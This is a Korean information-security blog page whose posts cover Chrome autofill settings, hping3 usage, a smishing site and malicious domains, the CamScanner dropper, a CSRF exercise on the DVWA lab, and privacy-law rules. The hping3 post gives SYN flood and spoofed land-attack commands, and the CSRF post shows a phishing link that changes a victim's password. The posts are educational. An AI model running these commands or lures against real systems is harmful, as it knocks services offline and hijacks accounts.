태터데스크 관리자

도움말
닫기
적용하기   첫페이지 만들기

태터데스크 메시지

저장하였습니다.

정보보호 (91)



크롬 브라우저의 양식 자동완성 기능


한 사람이 갖고 있는 인터넷 웹사이트의 계정은 아마도 수십개가 될 것이다. 그렇다 보니 아이디와 비밀번호를 관리해주는 전용 앱들이 등장해 인기를 누리고 있기도 하다. 그에 더해 대부분의 웹사이트에 로그인할 때 사용되는 브라우저도 웹사이트에 로그인할 때 입력되는 아이디와 비밀번호를 보관했다가 대신 입력해주는 기능을 갖고 있기도 하다.


크롬 브라우저에서는 이 기능을 양식(Form)의 자동완성 기능이라고 부른다. 여기에서 양식이란 HTML 태그 중에서 폼(form) 태그를 말하여 이 폼(form) 태그는 이용자가 브라우저의 입력창에 입력한 데이터를 서버로 전송할 때 사용되는 태그다. 즉 로그인을 위해 입력한 ID와 비밀번호를 웹서버로 전송하는 역할을 하는 HTML 태그다.


이 양식 자동완성 기능이 동작하면 다음과 같이 이전에 입력했던 데이터를 미리 보여주고 이용자에게 선택하도록 한다. 다음에 로그인하려할 때의 화면이다.


크롬의 자동완성 기능크롬의 자동완성 기능


이전에 입력했던 아이디들을 보여준다. 


이 노트북이 개인 노트북이기에 망정이지 PC방이나 공용PC라면 아이디가 모두 노출된다. 물론 아이디는 남들에게 알려줘도 괜찮은 정보이긴 하나 괜히 나를 알지 못하는 불특정 다수에게 아이디가 노출되는 것은 기분나쁜 일이기도 하다.


게다가 아이디와 비밀번호를 모두 입력하고 로그인 버튼을 누르면 다음과 같은 창이 추가로 뜨게 된다.



다음 번 로그인할 때 로그인을 편하게 하기 위해 아이디와 비밀번호를 보관하겠다는 창이다. 사실 난 이 단계에서 "저장" 버튼을 누른적이 한번도 없다. "내 아이디와 비밀번호를 브라우저 네깟것이 왜 기억해야 하지??" 라고 생각하기 때문이다.



만약 이렇게 저장한 노트북이나 PC를 다른 사람이 사용하게 될 일이 생긴다면?  그리고 그 사람이 다음에 접속하려 했다면 ? 이후에 그다지 유쾌한 일이 벌어질 일은 없을 것이다.


그래서 난 크롬의 양식 자동완성 기능을 해제했다. 아이디와 비밀번호는 개인이 기억하고 있다가 필요할 때 직접 입력하는 것이 정보보호의 출발점이기 때문이다.


이 기능을 끄는 방법을 기억하기 위해 포스팅 한다. 그 과정은 다음과 같다.


단계별로 따라가 보자.


크롬 브라우저의 자동완성 기능 끄기

크롬 브라우저의 자동완성 기능을 끄는 메뉴는 "설정" 메뉴의 "자동완성"에 있다.


크롬 자동완성 끄기 메뉴 위치크롬 자동완성 끄기 메뉴 위치


자동완성 메뉴를 선택하면 오른쪽 창에 세개의 메뉴가 보인다. "비밀번호", "결제수단", "주소 및 기타" 3개의 메뉴가 보인다. 가능하다면 이 3개 메뉴의 기능을 모두 끄는 것이 좋다. 정~~~ 온라인 쇼핑 시에 카드번호를 궂이~~~ 저장해두고 사용하겠다면 말리지 않는다.


비밀번호에 들어간다.



웹사이트 로근할 때 앞에서 언급했던 비밀번호를 저장해두는지 여부다. 당연히 Off 한다.


다음은 쇼핑몰 등에서 물건을 구매할 때 카드번호를 입력할 때 입력하는 "결제 수단" 정보를 저장할지 말지를 묻는 화면이다. 



물론 저장할지 여부도 묻긴 한다.


그리고 마지막으로 로그인 ID를 기억할지 말지를 선택하는 "주소 및 기타" 설정이다.



아이디는 표시되어 있지 않으나 테스트 결과 "주소 및 기타"에 ID값이 포함되는 모양이다. 

이 옵션도 인정사정보지말고 Off 한다.


그렇게 했다고 해서 끝이 아니다. 이 설정을 변경하기 전에 입력했던 ID와 비밀번호들은 이 세개의 설정을 한다 하더라도 이미 서버에 저장되어있기 때문에 이 기능을 끈다해도 과거에 로그인 할 때 입력했던 ID와 비밀번호는 저장되어 있을 수도 있다.


그러한 양식의 자동완성 용 테스트 데이터를 삭제해줘야 한다.



이 양식데이터를 삭제하기 위해서는 "설정"-"고급"-"개인정보 및 보안"- "인터넷 사용 기록 삭제"~"양식데이터 자동완성" 메뉴까지 들어가 꺼줘야 한다.


이렇게 이전의 양식 데이터까지 삭제하고 나서 다시 ID와 비밀번호를 입력하는 웹사이트에 접속해 보면 해당 ID가 더 이상 크롬 브라우저의 양식데이터로 저장되지 않음을 알 수 있다.


 #크롬 #양식자동완성 #양식 자동완성


  • [찌쏘]'s Magazine 2019.10.10 16:59 신고

    앗 너무 알고 싶었던 정보입니다. ^^ 제꺼도 여기저기 지금 등록되어서 개인적으로 쓰던 컴퓨터에 다 저장되어 있을텐데.. 적용시켜야겠네요
    스킨바꾸셨네요? ^^ 저는 애정어린 스킨 바꾼다는게 엄두가 안나던데.. 대단하십니다.
    날씨가 갑자기 추워졌습니다. 감기조심하십시오~~~ ^^

    • taeho Tae-Ho 2019.10.10 22:34 신고

      아이디도, 비밀번호도 매우 중요한 개인정보입니다~ 특히 비밀번호는 잊어버릴지언정 유출은 절대 안됩니다. ^^
      스킨은 별로 커스터마이징 한게 없어서 바꾸는것도 그리 어렵지 않습니다. ^^
      찌쏘님도 환절기 감기조심하세요~



hping은 네트워크에 존재하는 서버, PC, 네트워크 장비가 살아 있는지를 확인하기 위해 사용하는 ping 명령어보다 다양한 기능을 제공하는 명령어다. hping 명령은 서버 및 네트워크의 환경을 분석하거나 공격할 수 있는 패킷 생성기이자 분석도구다. 몇몇 버전이 있지만 현재 사용되는 최신 버전은 hping3다.


hping3의 사용법을 몇가지 정리해 본다.


1. icmp ping

hping3는 ping 명령어 처럼 icmp 프로토콜을 이용해 특정 IP에 대해 장비가 살아있는지...죽어 있는지를 확인할 수 있다. 


root@kali:~# hping3 -1 -c 3 211.xxx.xxx.xxx

HPING 211.xxx.xxx.xxx (eth0 211.xxx.xxx.xxx): icmp mode set, 28 headers + 0 data bytes

len=46 ip=211.xxx.xxx.xxx ttl=128 id=65246 icmp_seq=0 rtt=3.4 ms

len=46 ip=211.xxx.xxx.xxx ttl=128 id=65247 icmp_seq=1 rtt=2.3 ms

len=46 ip=211.xxx.xxx.xxx ttl=128 id=65248 icmp_seq=2 rtt=6.0 ms


--- 211.xxx.xxx.xxx hping statistic ---

3 packets transmitted, 3 packets received, 0% packet loss

round-trip min/avg/max = 2.3/3.9/6.0 ms

root@kali:~# 

root@kali:~# ping 211.xxx.xxx.xxx

PING 211.xxx.xxx.xxx (211.xxx.xxx.xxx) 56(84) bytes of data.

64 bytes from 211.xxx.xxx.xxx: icmp_seq=1 ttl=128 time=1.97 ms

64 bytes from 211.xxx.xxx.xxx: icmp_seq=2 ttl=128 time=2.26 ms

64 bytes from 211.xxx.xxx.xxx: icmp_seq=3 ttl=128 time=2.20 ms

--- 211.xxx.xxx.xxx ping statistics ---

10 packets transmitted, 10 received, 0% packet loss, time 9017ms

rtt min/avg/max/mdev = 1.972/2.182/2.282/0.095 ms

root@kali:~# 



2. 특정 IP에 대한 포트스캔(port scan)

hping3는 특정 IP에서 리스닝(Listening) 중인 포트를 확인할 수 있는 포트스캔(port scan) 기능을 지원한다.


root@kali:~# hping3 --scan 1-1024 -S 211.xxx.xxx.xxx

Scanning 211.xxx.xxx.xxx (211.xxx.xxx.xxx), port 1-1024

1024 ports to scan, use -V to see all the replies

+----+-----------+---------+---+-----+-----+-----+

|port| serv name |  flags  |ttl| id  | win | len |

+----+-----------+---------+---+-----+-----+-----+

   80 http       : .S..A... 128 61950 64240    46

All replies received. Done.

Not responding ports: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) (8 ) (9 discard) (10 ) (11 systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) (17 qotd) (18 msp) (19 chargen) (20 ftp-data) (21 ftp) (22 ssh) (23 telnet) (24 ) (25 smtp) (26 ) (27 ) (28 ) (29 ) (30 ) (31 ) (32 ) (33 ) (34 ) (35 ) (36 ) (37 time) (38 ) (39 rlp) (40 ) (41 ) (42 nameserver) (43 whois) (44 ) (45 ) (46 ) (47 ) (48 ) (49 tacacs) (50 re-mail-ck) (51 ) (52 ) (53 domain) (54 ) (55 ) (56 ) (57 mtp) (58 ) (59 ) (60 ) (61 ) (62 ) (63 ) (64 ) (65 tacacs-ds) (66 ) (67 bootps) (68 bootpc) (69 tftp) (70 gopher) (71 ) (72 ) (73 ) (74 ) (75 ) (76 ) (77 rje) (78 ) (79 finger) (81 ) (82 ) (83 ) (84 ) (85 ) (86 ) (87 link) (88 kerberos) (89 ) (90 ) (91 ) (92 ) (93 ) (94 ) (95 supdup) (96 ) (97 ) (98 linuxconf) (99 ) 


위의 예는 특정 ip에 대하여 포트스캔(--scan)을 1번에서 1024번 TCP 포트까지 Syn Flag를 세팅하여(-S) 수행하는 경우다. (TCP Syn Scan)

이 경우 RedCastle과 같은 SecureOS를 적용하여 통제가 수행될 경우 혹은 네트워크 방화벽이 구축되어 있는 경우 감사로그를 보면 출발지IP를 바로 잡아낼 수 있다. 


[ Sync Scan이 탐지되고 차단된 로그 : RedCastle SecureOS]


3. Syn Flooding Attack 및 Land Attack

이러한 Syn Scan을 응용한 것이 TCP Syn Flooding 공격이다. hping3는 출발지 IP를 랜덤하게 바꿔가며 특정 IP의 특정 port에 무차별적으로 Syn 패킷을 보낼 수 있다. 분명히 말해두지만 그런 행위는 범법행위다.


hping3 -S -d 64 111.222.111.222 -p 80 --flood --rand-source


-S : syn 패킷을 보낸다.

-d 64 : 패킷의 데이터사이즈

111.222.111.222 : 공격대상 서버IP

-p 80 : 공격대상 서버의 공격대상 포트

--flood : 최대한 많은 패킷을 전송

-- rand-source : 출발지 IP를 무작위로 하여 공격자IP를 감춤


한가지 주의할 것은 공격자가 사설IP를 사용할 경우 그리고 공격 대상서버가 인터넷을 통해 공인망을 통과할 경우 피해자가 공격자 IP를 알아낼 수 있다. 왜냐하면 공격자가 사설IP를 사용한 다는 것은 공격자가 피해자에게 보낸 패킷의 출발지 IP를 게이트웨이가 자신(게이트웨이)의 IP로 바꾸어 보내기 때문에 게이트웨이 주소를 통해 공격자의 위치를 대략적으로 파악할 수 있기 때문이다.


만약 Land Attack을 하고자 한다면 다음과 같은 명령을 사용하면 된다.


hping3 -1 -a 10.10.10.10 -d 65000 10.10.10.10


-1 : ICMP 모드 (-2는 UDP모드, 안써주면 TCP)

-a 10.10.10.10 : 변조할 출발지 IP 즉 스푸핑할 IP. 공격대상 IP와 동일하게 써준다.

-d 65000 : ICMP 패킷사이즈. 크게 준다. 크면 Fragmentation하여 전송하게 된다.

10.10.10.10 : 목적지 IP. 즉 공격 대상 IP




이외에도 hping3를 이용하면 다양한 DOS 공격을 수행할 수 있다. 쉘스크립트 및 펄 스크립트를 이용해 내부적으로 hping3를 사용하는 스크립트를 작성하면 smurf attack, boink attack, udp fragmentation, udp flooding 등 대부분의 패킷을 조작하여 할 수 있는 TCP/IP 수준의 공격을 테스트해 볼 수 있다.


참 유용하면서도 위험한 명령어다. 참고로 이러한 공격은 라우터나 스위치 혹은 서버의 네트워크 설정에서 대부분 방어할 수 있기도 하다. 


그러고 보면 인터넷엔 이미 창과 방패가 모두 공개되어 있다. 


#hping3


  • 지후대디 2015.12.24 08:08 신고

    사실 접속 테스트 때문에 telnet이나 ping은 많이 사용하는데 이런 툴도 있었군요 ^^ 노트해 두어야 겠습니다

    • taeho Tae-Ho 2015.12.24 08:49 신고

      저도 매번 옵션 지정하는 방법을 잊어버려서... ^^
      쉽게 찾을 수 있게 기록하는게 참 어렵습니다..

  • Hackerrior 2018.03.06 18:19 신고

    좋은 글 감사합니다



요즘 택배사를 사칭하는 문자메시지를 보내 스마트폰에 악성코드가 포함된 앱의 설치를 유도하는 스미싱이 유행하고 있다. 스미싱이란 SMS 문자메시지를 보내 스마트폰 사용자를 낚아 악성앱의 설치를 유도하여 스마트폰에 저장된 사진, 문서, 주소록 등 개인정보를 탈취하거나 원격조정하여 다른 웹사이트나 컴퓨터에 DDOS 공격을 하는 일련의 사이버 공격행위를 말한다. 


어느날 아침.. 옆지기로부터 "CJ 대한통운에서 택배 확인 요청" 문자메시지가 왔는데... 좀 이상하다는 카톡이 왔다. 그래서 화면을 캡처해 보내달라고 했다.


이런 문자가 왔다. 


음..로젠택배다. 사실 택배사에서 이런 이상한 도메인주소로 접속을 유도하는 문자메시지를 보낼일은 없다. 하지만 긴~URL을 단축 URL로 변환해 보내는 경우가 있기 때문에 많은 사람들이 이런 URL에 접속하고 있는 것이 사실이다.


이 URL을 그대로 PC의 크롬브라우저에서 입력해 접속해봤다.



역시 위 주소창에서 보이듯 URL이 이상한 주소로 되어 있다. 게다가 로젠택배라 했는데.. 연결된 웹사이트는 CJ 대한통운 이란다. 이런 허접한 놈들....


하지만 웹페이지는 그럴싸 하다. 웹페이지의 링크를 여기저기 클릭해봐도 실제 CJ대한통운의 각 메뉴에 해당하는 페이지로 연결된다.

다만 가장 상단의 전화번호 입력창이 수상하다. 


택배를 보낼 때 수령자의 전화번호를 입력하기 때문에 사실 전화번호를 다시 수집할 이유가 없다. 게다가 우리나라의 개인정보보호법과 정보통신망법은 개인정보를 수집할 때 반드시 사전에 개인정보의 수집과 이용목적을 고지하고 "동의"를 받도록 하고 있다.  그리고 이 동의를 받지 않으면 과태료를 내야한다.


때문에 이렇게 무식하게 전화번호를 입력하라고 하지 않는다. 있다면 신고하라. 최고 5000만원의 과태료 나가신다.


그래서 이 전화번호입력란에 엉뚱한 전화번호를 입력해봤다. 그랬더니 앱을 설치하란다. 



반송된 물품을 확인하려면 앱을 다운로드 하란다.


절대..결코..네버.. 설치하면 안된다. 설치하는 순간 스마트폰은 해커의 놀이터가 된다.


정상적인 기업이라면 구글의 플레이스토어나 애플의 앱스토어를 통해 앱을 배포한다. 결코 이렇게 apk 파일을 직접 다운로드해 설치하도록 유도하지 않는다. 이렇게 apk를 다운로드 받아 설치하도록 유도하는 것은 100% 악성코드를 유포하기 위한 것이라고 생각하면 된다.


혹시나 해서 앞서 화면에서 소스보기를 해봤다.특별히 의심할만한 HTML과 자사스크립트는 보이지 않는다. URL부분에도 이상한 URL은 눈에 띄지 않는다.




소스를 보다 보니 중간에 UA- 로 시작하는 코드가 보인다. 이 코드는 구글의 어낼리틱스(웹사이트 방문통계)의 코드다.



뒷부분에 doortodoor.co.kr 이라는 도메인이 보이는데 이 도메인이 CJ 대한통운의 도메인 중 하나다.

그래서 이 UA 코드를 검색해봤다.



그랬더니 아니나 다를까 실제 CJ대한통운의 도메인인 Doortodoor 도 있지만 악성코드를 유포하기 위해 만든 가짜 도메인들이 다수 검색된다. dj-ho.top, aa-ub.top은 당연히 악성코드를 유포하기 위한 도메인주소이고 심지어 JCgloball.org 라는 이름의 그럴싸한 도메인도 만든 모양이다.


하여튼... 뭔가 고지와 동의 없이 전화번호등을 수집하려거나 공식 앱마켓이 아닌 apk 파일을 수동으로 다운로드 받고 설치하라고 하는 경우는 무조건.. 해킹이다.!!! 라고 생각하고 근처에 얼씬도 하지 말아야 한다.





CammScanner에 악성코드를 전파하는 드랍퍼(Dropper) 감염

최근에 1억회 이상 다운로드 된 유명 앱이 악성코드 유포에 악용되었다. 바로 캠스캐너(CamScanner)라는 앱이다. 이 앱은 나도 사용하고 있었을 만큼(최근에는 사용하지 않았지만) 유명한 앱이다. CamScanner앱은 최근엔 흔해졌지만 문서를 스마트폰의 카메라로 촬영하면 문서크기를 직사각형 형태로 자동 보정하여 컬러 및 흑백 문서 처럼 변환하여 PDF로 저장할 수 있는 매우 유용한 앱이었다. 

그런데 CamScanner 앱의 무료버전을 설치하고 실행할 경우 스마트폰 내에 악성프로그램을 설치하는 드랍퍼(Dropper)가 설치되는 듯하다. 이 문제가 CamScanner 앱의 개발자 계정이 해킹당해 발생한 것인지 아니면 무료버전에 포함되어 함께 배포되는 광고모듈의 개발자 PC가 이 해킹되어 드랍퍼가 포함된 광고모듈이 캠스캐너 개발자에게 제공된 것인지는 확실하지 않다. 다만 무료버전에서만 악성코드가 설치되는 것으로 보아 후자일 가능성이 높은 것 같다.

비슷한 유형의 예전 해킹 사건 - 버스앱 해킹 사건

이런 악성코드를 함께 배포하는 해킹공격의 사례는 예전 포스트에서도 언급했던 "버스 앱 해킹사건"과 유사한 사례다.

버스앱 해킹사건버스앱 해킹사건

이 버스앱 해킹사건은 구글플레이스토어의 개발자 계정이 해킹된 사건이었다. 개발자가 소스코드를 보관하던 형상관리시스템의 계정과 구글플레이스토어 계정을 연동시켜 두었는데 계정과 비밀번호를 해킹한 해커가 소스코드에 악성코드를 다운로드 받는 드랍퍼를 설치해 구글플레이스토어에 새로운 버전의 버스앱으로 등록하고 새롭게 버스앱을 업데이트하거나 새롭게 설치하는 사용자의 스마트폰에 악성코드를 감염시키는 수법이었다.

악성코드를 감염시키는 드랍퍼(Dropper)를 사전 적발할 수 없는가?

CamScanner에 악성코드 드랍퍼가 감염된 것은 CamScanner 개발자 계정이 아닌 무료버전에 포함되는 광고업자로부터 제공받은 광고모듈에 드랍퍼가 포함되어 있었던 것으로 보인다.

이런 경우는 CammScanner 개발자가 외부자로부터 제공받는 광고모듈에 대한 보안점검을 철저히 했다면 사전에 적발해낼 수 있었을 것으로 보인다.

만약 무료버전의 앱에 광고모듈을 포함에 배포하는 개발자라면 광고를 호출하는 API를 사용하거나 모듈을 제공받아 앱에 적용하게 된다. 이 때 테스트를 통해 악성코드 감염여부를 점검하면 되지만 시간과 귀찮음으로 인해 테스트를 하지 않거나 소홀하게 할 경우 감염될 수 있는 것이다.

CamScanner 무료버전 삭제

만약 CamScanner를 설치한 이용자라면 일단 CamScanner를 삭제하는 것이 좋다. 나의 경우에는 설치되어 있지만 6개월 이상 실행한적이 없기 때문에 구글 플레이 앱에서 "악성행위를 하는 앱이 발견되었다"라는 메시지가 뜬 뒤 곧바로 삭제하였다. 경고메시지가 뜨는 경우에도 무조건 해당 앱을 삭제하는 것을 권한다. 

경고메시지에 따라 캠스캐너를 삭제할 경우 아래 처럼 유해한 앱이 삭제되었다는 알림이 뜨게 된다.


그리고 구글플레이에서 CamScanner 를 검색하면 아래와 같이 스토어에서도 삭제되어 있다.


언제 쯤 깨끗한 CamScanner - 무료버전이 플레이스토어에 등록될지 모르겠다.


#캠스캐너 #CamScanner #악성코드감염


  • [찌쏘]'s Magazine 2019.09.08 11:02 신고

    무료버젼 열심히 쓰고있었는데 앱도 이제 너무 많이 설치하면 안되겠어요

    • taeho Tae-Ho 2019.10.06 13:26 신고

      꼭 필요한 것만 설치해 사용하고 불필요한 것은 바로 삭제하는게 좋죠~

  • 백전백승 2019.10.06 10:40 신고

    예전 제 블로그에서 스캔 앱을 설명하면서 CamScanner을 한 달 정도 설치했었거든요. 지금은 제거해 없지만요. 광고가 있으면서 무료로 제공하는 앱을 조심해야겠어요. 차라리 비용이 발생하더라도 유료 앱이 안심이 되겠어요.

    • taeho Tae-Ho 2019.10.06 13:27 신고

      광고가 없는 앱이 조금이라도 더 안전하긴 합니다만... 구글이 조금 더 앱의 보안에 신경써 주면 좋을 듯 합니다~



CSRF(Cross Site Request Forgery) 취약점은 번역이 조금 애매하다. "사이트 간 요청 위조" 정도로 번역한다. 


이 취약점은 GET 또는 POST 요청을 서버가 받았을 때 요청이 변조된 것이 아닌지를 검사하는 여러 코드가 서버 사이드에서 검증되지 않은 채 실행할 때 발생한다.


DVWA에서는 비밀번호 변경 페이지를 예로 들어 실습을 할 수 있도록 해준다.



위의 비밀번호 페이지를 가만히 들여다 보면 몇가지를 유추할 수 있다.


먼저 현재의 비밀번호를 물어보지 않고 변경할 새 비밀번호만 물어본다. 이게 뭐가 문제냐? 라는 생각이 든다면 모의해킹 전문가는 아직...꿈꾸지 말길 바란다. 보다 다양한 개발 경험을 쌓고 다시 도전해보길 권하고 싶다.


현재의 비밀번호를 묻지 않는다는 이야기는 이용자 혹은 사용자가 로그인한 창을 열어놓고 잠시 자리를 비운사이 누군가 그 자리에서 불법적으로 비밀번호를 변경할 수 있다는 이야기다. 이런 취약점이 바로 CSRF 공격에 노출될 가능성이 있다.



즉 원격에 위치한 해커가 비밀번호를 변경하는 요청(GET 혹은 POST)을 로그인한 사용자에게 여러 형태로 전송해 실행하도록 유도할 수 있다면 해커가 원하는 비밀번호로 임의 변경을 할 수 있다는 이야기다.


그렇다면 해커는 이 사이트에 접속해 비밀번호를 요청할 때 어떤 요청이 웹서버로 전송되는지 확인하려 할 것이다.


웹페이지 소스를 열어봐도 되고 버프스위트를 이용해 요청을 분석해도 된다.


먼저 웹페이지 소스를 보면 다음과 같다.



GET 방식의 요청이며 파라미터는 password_new와 password_conf 그리고 Change 세개가 넘어간다. 실제로 버프스위트에서 요청을 가로채 보면 다음과 같다.



예상대로 세개의 파라미터가 넘어간다. 그리고 가장 하단에 PHPSESSID가 함께 넘어간다. 이미 로그인한 사용자의 저 PHPSESSID를 알아내면 좋겠지만 그건 사실 쉽지 않다. 사용자의 PC에 악성코드를 심어 PC를 장악하거나 스니핑 등을통해 가로채지 않으면 말이다.


비밀번호가 변경되면 다음과 같이 Password Changed. 라는 메시지가 보인다.



그렇다면 이미 이 사이트에 로그인해 있는 사용자에게 어떻게 조작된 GET 요청을 실행하도록 유도할 것인가를 고민해야 한다. 가장 손쉬운 방법은 바로 비밀번호를 변경하는 GET 요청을 할 수 있는 링크를 포함하는 메일을 보내 클릭을 유도하는 것이다.


그럼 메일을 작성해보자. 다음 메일에서 작성해보았다.



"여기"라는 링크를 클릭하도록 해야 한다. 그리고 메일 사이트에서는 대부분 HTML 편집기능을 제공한다. 그리고 쉽게 GET 요청이 담긴 앵커태그(<a>)를 삽입할 수 있다.


다음과 같이 말이다.



HTML 편집기능을 이용해 password_new에 123456, password_conf에도 123456 을 넣은 <a>태그를 "여기"라는 문자열에 심었다.


이 메일을 전송한다.


그럼 수신자의 메일에는 다음과 같은 메일이 도착한다. 네이버 메일에서 확인한 결과다.




만약 이 사용자가 dvwa에 이미 로그인한 상태로 로그아웃하지 않았다고 가정하고 위 화면의 "여기"라는 링크를 클릭하면..... 사용자는 본인이 의도하지 않은 비밀번호 변경 요청(GET)을 dvwa에 하게 된다.


이 여기라는 링크에 마우스를 올려보면 다음과 같은 GET 요청이 포함되어 있다는 것을 알 수 있다.



여기서는 이메일을 보내는 매우 구태의연한 방식을 취했지만 HTML 편집이 가능한 다른 웹페이지의 게시판에 이 GET 요청을 심어놓고 클릭하기를 기다릴 수도 있고, 별도로 작성된 응용프로그램을 첨부한 뒤 다운로드 받아 실행하면 이 요청을 전송하도록 하는 등 다양한 아이디어를 활용할 수도 있다. (특정 사이트를 공격하기로 작정한 해커의 창의력 지수는 갑작스레 치솟는다는 점을 명심하자.)


어쨌든 이 링크를 클릭하면 다음과 같이 갑자기...비밀번호가 변경되었다는 창이 뜬다.


이 문제를 해결하는 방법은 매우 단순하다.


 o 이전 비밀번호를 함께 입력받아 실제 요청을 하는 사용자가 계정의 주인이 맞는지를 확인


실제로 많은 웹사이트들이 비밀번호 뿐만 아니라 단순한 개인정보를 변경할 때도 한번 더 비밀번호를 입력할 것을 요구한다. 그 이유는 매우 다양한 취약점... 지금까지 발견되지 않은 취약점도 포함....들로 인해 개인정보가 위/변조되어 아이디와 비밀번호가 탈취 될 수 있기 때문이다.


실제로 이메일주소나 전화번호가 변조되면 비밀번호 찾기 또는 비밀번호 초기화 등을 통해 비밀번호를 임의로 변경할 수 있다.그렇기 때문에 많은 웹사이트들이 개인정보 수정 화면에서 이미 로그인을 했음에도 불구하고 다시 한번 더 비밀번호를 입력받아 현재 ID의 주인이 맞는지를 확인하는 것이다.




얼마 전 ISMS-P 인증심사원 자격전환 (구ISMS에서 신ISMS-P로) 시험에 합격하면서 6월에 첫 ISMS-P 인증심사를 나가게 되었다. 아무래도 ISMS에 구)PIMS의 개인정보라이프사이클 및 법적 요구사항에 대해 더 깊이 있게 살펴봐야 하기 때문에 조금은 더 까다로운 심사가 될 듯 하다.


그러면서 다시 한번..(글로만 보면 자꾸 잊는다.) 정보통신망법과 개인정보보호법을 정리한 내용들을 살펴보고 있는 중이다.


그 와중에 자격전환 시험 준비를 하면서 정리해두었던 자료들 중에 정보통신망법의 하위 고시인 [기술적ㆍ관리적 보호조치 기준]과 개인정보보호법의 하위 고시인 [개인정보의 안전성 확보조치 기준]을 비교했던 자료를 포스팅 한다.


내부관리계획 수립


 [정통망법] 기술적ㆍ관리적 보호조치 기준

 [개보법] 안전성 확보조치 기준

 제3조(내부관리계획의 수립·시행) ① 정보통신서비스 제공자등은 다음 각 호의 사항을 정하여 개인정보 보호 조직을 구성·운영하여야 한다.

1.개인정보관리책임자의 자격요건 및 지정에 관한 사항

2.개인정보관리책임자와 개인정보취급자의 역할 및 책임에 관한 사항

3.개인정보 내부관리계획의 수립 및 승인에 관한사항

4.개인정보의 기술적·관리적 보호조치 이행 여부의 내부 점검에 관한 사항

5.개인정보 처리업무를 위탁하는 경우 수탁자에 대한 관리 및 감독에 관한 사항

6.개인정보의 분실·도난·누출·변조·훼손 등이 발생한 경우의 대응절차 및 방법에 관한 사항

7.그 밖에 개인정보보호를 위해 필요한 사항

② 정보통신서비스 제공자등은 다음 각 호의 사항을 정하여 개인정보관리책임자 및 개인정보취급자를 대상으로 사업규모, 개인정보 보유 수 등을 고려하여 필요한 교육을 정기적으로 실시하여야 한다.

1. 교육목적 및 대상

2. 교육 내용

3. 교육 일정 및 방법

③ 정보통신서비스 제공자등은 제1항 및 제2항에 대한 세부 계획, 제4조부터 제8조까지의 보호조치 이행을 위한 세부적인 추진방안을 포함한 내부관리계획을 수립·시행하여야 한다.

 제4조(내부 관리계획의 수립·시행) ① 개인정보처리자는 개인정보의 분실·도난·유출·위조·변조 또는 훼손되지 아니하도록 내부 의사결정 절차를 통하여 다음 각 호의 사항을 포함하는 내부 관리계획을 수립·시행하여야한다.

1. 개인정보 보호책임자의 지정에 관한 사항

2. 개인정보 보호책임자 및 개인정보취급자의 역할 및 책임에 관한 사항

3. 개인정보취급자에 대한 교육에 관한 사항

4. 접근 권한의 관리에 관한 사항

5. 접근 통제에 관한 사항

6. 개인정보의 암호화 조치에 관한 사항

7. 접속기록 보관 및 점검에 관한 사항

8. 악성프로그램 등 방지에 관한 사항

9. 물리적 안전조치에 관한 사항

10. 개인정보 보호조직에 관한 구성 및 운영에 관한 사항

11.개인정보 유출사고 대응 계획 수립·시행에 관한 사항

12. 위험도 분석 및 대응방안 마련에 관한 사항

13. 재해 및 재난 대비 개인정보처리시스템의 물리적 안전조치에 관한 사항

14. 개인정보 처리업무를 위탁하는 경우 수탁자에 대한 관리 및 감독에 관한 사항

15. 그 밖에 개인정보 보호를 위하여 필요한 사항

② [별표]의 유형1(1만명 미만/소상공인,단체,개인)에 해당하는 개인정보처리자는 제1항에 따른 내부 관리계획을 수립하지 아니할 수 있고, [별표]의 유형2에 해당하는 개인정보처리자는 제1항제12호부터 제14호까지를 내부 관리계획에 포함하지 아니할수 있다.

③ 개인정보처리자는 제1항 각 호의 사항에 중요한 변경이 있는 경우에는 이를 즉시 반영하여 내부 관리계획을수정하여 시행하고, 그 수정 이ㅑ력을 관리하여야 한다.

④ 개인정보 보호책임자는 연 1회 이상으로 내부 관리계획의 이행 실태를 점검·관리하여야 한다.


※ 안전성 확보 조치 기준의 내부관리계획 수립 의무대상 분석


유형

개인정보처리자 유형

내부관리계획 수립의무 

유형1(완화)

1만 명 미만의 정보주체에 관한 개인정보를 보유한 소상공인, 단체, 개인

 없음
유형2(표준)

100만 명 미만의 정보주체에 관한 개인정보를 보유한 중소기업
10만 명 미만의 정보주체에 관한 개인정보를 보유한 대기업, 중견기업, 공공기관
1만 명 이상의 정보주체에 관한 개인정보를 보유한 소상공인, 단체, 개인

 의무

유형3(강화)

10만 명 이상의 정보주체에 관한 개인정보를 보유한 대기업, 중견기업, 공공기관
100만 명 이상의 정보주체에 관한 개인정보를 보유한 중소기업, 단체
 의무



개인정보처리시스템에 대한 "접근권한 관리"


 [정통망법] 기술적ㆍ관리적 보호조치 기준

 [개보법] 안전성 확보조치 기준

제4조(접근통제) ① 정보통신서비스 제공자등은 개인정보처리시스템에 대한 접근권한을 서비스 제공을 위하여 필요한 개인정보관리책임자 또는 개인정보취급자에게만 부여한다.

② 정보통신서비스 제공자등은 전보 또는 퇴직 등 인사이동이 발생하여 개인정보취급자가 변경되었을 경우 지체없이 개인정보처리시스템의 접근권한을 변경 또는 말소한다.

③ 정보통신서비스 제공자등은 제1항 및 제2항에 의한 권한 부여, 변경 또는 말소에 대한 내역을 기록하고, 그 기록을 최소 5년간 보관한다.

~

⑦ 정보통신서비스 제공자등은 이용자가 안전한 비밀번호를 이용할 수 있도록 비밀번호 작성규칙을 수립하고, 이행한다.

⑧ 정보통신서비스 제공자등은 개인정보취급자를 대상으로 다음 각 호의 사항을 포함하는 비밀번호 작성규칙을 수립하고, 이를 적용·운용하여야 한다.

1. 영문, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 또는 3종류 이상을 조합하여 최소 8자리 이상의 길이로 구성

2. 연속적인 숫자나 생일, 전화번호 등 추측하기 쉬운 개인정보 및 아이디와 비슷한 비밀번호는 사용하지 않는 것을 권고

3. 비밀번호에 유효기간을 설정하여 반기별 1회 이경

제5조(접근 권한의 관리) ① 개인정보처리자는 개인정보처리시스템에 대한 접근 권한을 업무 수행에 필요한 최소한의 범위로 업무 담당자에 따라 차등 부여하여야 한다.

② 개인정보처리자는 전보 또는 퇴직 등 인사이동이 발생하여 개인정보취급자가 변경되었을 경우 지체없이 개인정보처리시스템의 접근 권한을 변경 또는 말소하여야 한다.

③ 개인정보처리자는 제1항 및 제2항에 의한 권한 부여, 변경 또는 말소에 대한 내역을 기록하고, 그 기록을 최소 3년간 보관하여야 한다.

